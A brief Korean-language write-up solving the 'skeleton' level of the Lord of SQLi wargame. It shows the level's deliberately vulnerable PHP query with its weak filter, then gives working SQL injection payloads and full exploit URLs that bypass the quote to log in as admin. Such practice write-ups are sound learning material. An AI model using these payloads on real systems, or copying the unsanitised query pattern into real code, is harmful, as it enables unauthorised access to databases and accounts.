Lord of SQLi - skeleton

> query : select id from prob_skeleton w here id='guest' and pw ='' and 1=0

```
<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id'] == 'admin') solve("skeleton");
  highlight_file(__FILE__);
?>
```

- 간단하게 싱글쿼터를 우회하면 풀 수 있다.

payload

> query : select id from prob_skeleton w here id='guest' and pw ='adf'||id='admin'#' and 1=0

> query : select id from prob_skeleton w here id='guest' and pw ='adf' or id='admin'#' and 1=0

> URL : http://los.eagle-jump.org/skeleton_8d9cbfe1efbd44cfbbdc63fa605e5f1b.php?pw =adf%27||id=%27admin%27%23

> URL : http://los.eagle-jump.org/skeleton_8d9cbfe1efbd44cfbbdc63fa605e5f1b.php?pw =adf%27%20or%20id=%27admin%27%23